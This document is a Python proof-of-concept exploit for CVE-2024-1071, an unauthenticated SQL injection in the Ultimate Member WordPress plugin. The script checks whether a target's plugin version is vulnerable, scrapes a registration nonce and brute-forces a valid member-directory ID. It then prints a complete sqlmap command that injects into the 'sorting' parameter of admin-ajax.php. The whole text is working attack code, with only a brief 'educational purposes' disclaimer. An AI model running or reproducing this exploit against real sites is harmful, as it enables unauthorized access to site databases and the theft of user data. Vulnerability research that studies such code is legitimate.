# CVE-2024-1071 # Ultimate Member Unauthorized Database Access Exploit / SQLi # by Secragon # PoC for educational/research purposes only # Use it at your own risk! import re import sys import urllib3 import hashlib import requests import argparse from colorama import Fore, Style urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_version(target): print(Style.RESET_ALL + "Site version:", end=' ') try: r = requests.get(f"{target}/wp-content/plugins/ultimate-member/readme.txt", verify=False) version = re.search(r"Stable tag: (.*)", r.text).groups()[0] except: print(Fore.RED + f'error...') exit() if int(version.replace('.','')) > 212 and int(version.replace('.','')) < 283: print(Fore.GREEN + f'{version} - vulnerable!') else: print(Fore.RED + f'{version} - not vulnerable!') exit() def get_nonce(target): print(Style.RESET_ALL + "Getting nonce:", end =' ') s = requests.Session() try: r = s.get(f'{target}/index.php/register/', verify=False) nonce = re.search(r'um_scripts\s*=\s*\{[^}]*"nonce":"([^"]+)"', r.text).groups()[0] print(Fore.GREEN + f"{nonce}") return nonce except: print(Fore.RED + f'error...') exit() def get_directory_id(target, nonce): print(Style.RESET_ALL + "Searching for valid directory id:", end =' ') for num in range(1, 100): id = hashlib.md5(str(num).encode()).hexdigest()[10:15] payload = { "action": "um_get_members", "nonce": nonce, "directory_id": id } response = requests.post(f'{target}/wp-admin/admin-ajax.php', data=payload) if response.status_code == 200: if '"success":true' in response.text: print(Fore.GREEN + f"{id}") return id print(Fore.RED + f'error...') exit() print() print(Fore.BLUE + "\t\t --- Ultimate Member exploit ---") print("\t\t (unauthorized database access)") print(Fore.RED + "\t\t\t\t by gbrsh@secragon & gnomer0x@secragon") print(Style.RESET_ALL) parser = argparse.ArgumentParser() parser.add_argument('url', help='http://wphost') if len(sys.argv) == 1: parser.print_help() print() exit() args = parser.parse_args() check_version(args.url) nonce = get_nonce(args.url) dir_id = get_directory_id(args.url, nonce) data = f'action=um_get_members&nonce={nonce}&directory_id={dir_id}&sorting=user_login' print() print(Style.RESET_ALL + "Perfect! Now let sqlmap do its job:") print(f'Run: sqlmap -u {args.url}/wp-admin/admin-ajax.php --method POST --data "{data}" --dbms mysql --technique=T -p sorting')